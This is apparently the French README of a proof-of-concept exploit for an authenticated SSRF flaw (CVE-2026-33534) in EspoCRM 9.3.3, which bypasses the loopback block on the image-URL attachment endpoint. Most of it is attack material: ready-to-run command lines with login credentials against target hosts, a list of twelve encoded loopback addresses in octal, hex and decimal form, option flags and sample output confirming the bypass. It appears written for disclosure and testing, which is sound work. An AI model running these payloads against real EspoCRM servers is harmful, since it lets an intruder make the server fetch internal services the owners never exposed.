
EspoCRM 9.3.3 - SSRF authentifié via la notation IPv4 alternative
Preuve de concept de SSRF authentifié pour EspoCRM 9.3.3 via une notation alternative de bouclage IPv4 dans le point de terminaison /api/v1/Attachment/fromImageUrl.
EspoCRM 9.3.3 bloque les URL de bouclage directes telles que http://127.0.0.1/..., mais le chemin de récupération côté serveur accepte des représentations IPv4 alternatives que cURL normalise en bouclage. Cela permet à un utilisateur authentifié ayant accès au flux de téléversement d'images/pièces jointes concerné de faire récupérer des ressources internes par le serveur EspoCRM.
L'exploit soumet d'abord une requête de contrôle directe vers 127.0.0.1 et s'attend à ce qu'elle soit bloquée avec un code HTTP 403. Il teste ensuite plusieurs charges utiles de bouclage encodées et signale celles qui produisent une pièce jointe stockée.
requestsInstaller la dépendance :
python3 -m pip install requests
Validation locale de base contre une instance EspoCRM exécutée sur le port 8083 :
python3 CVE-2026-33534.py \
-u http://127.0.0.1:8083 \
-U admin \
-P 'Admin12345!' \
--internal-port 8083 \
--cleanup
Tester un service interne sur un port et un chemin personnalisés :
python3 CVE-2026-33534.py \
-u https://target.example \
-U user \
-P 'password' \
--internal-port 9002 \
--internal-path /interno.png \
--cleanup
Utiliser uniquement des charges utiles personnalisées :
python3 CVE-2026-33534.py \
-u https://target.example \
-U user \
-P 'password' \
--no-default-payloads \
--payload 0x7f000001 \
--payload 2130706433
L'exploit teste ces représentations d'hôte de bouclage par défaut :
0177.0.0.1
0177.0000.0000.0001
0177.1
0x7f.0.0.1
0x7f.0x0.0x0.0x1
0x7f000001
2130706433
017700000001
127.1
127.0.1
127.000.000.001
0000000000000000000000000177.0.0.1
Les fichiers de charges utiles personnalisées sont pris en charge. Chaque ligne peut être soit :
host
label=host
Exemple :
hex-dword=0x7f000001
decimal-dword=2130706433
Exécuter avec :
python3 CVE-2026-33534.py -u https://target.example -U user -P pass --payload-file payloads.txt
-u, --url URL de base EspoCRM
-U, --username Nom d'utilisateur EspoCRM
-P, --password Mot de passe EspoCRM
--internal-port Port de bouclage interne à récupérer
--internal-path Chemin interne à récupérer
--payload Notation d'hôte de bouclage supplémentaire
--payload-file Fichier contenant une charge utile d'hôte par ligne
--no-default-payloads Utiliser uniquement les charges utiles personnalisées
--field Champ de pièce jointe, défaut : avatar
--parent-type Type d'entité parente, défaut : User
--parent-id Identifiant d'entité parente facultatif
--cleanup Supprimer les pièces jointes créées par les charges utiles réussies
--stop-on-first S'arrêter après le premier contournement réussi
--insecure Désactiver la vérification du certificat TLS
Une exploitation réussie montre le contrôle de bouclage direct bloqué et une ou plusieurs charges utiles encodées acceptées :
[*] Control response: HTTP 403 Not allowed URL.
[+] octal dotted 0177.0.0.1 HTTP 200 id=... type=image/svg+xml size=4438
[+] hex dword 0x7f000001 HTTP 200 id=... type=image/svg+xml size=4438
[+] Vulnerable behavior confirmed.
[+] Direct loopback control: HTTP 403
[+] Successful payloads: 12
/client/img/logo-light.svg depuis le propre écouteur de bouclage de la cible. Ajustez --internal-port et --internal-path pour un autre service interne.User.avatar ; utilisez --field, --parent-type et --parent-id si le compte testé nécessite un contexte de téléversement différent.--cleanup pendant les tests pour supprimer automatiquement les pièces jointes créées.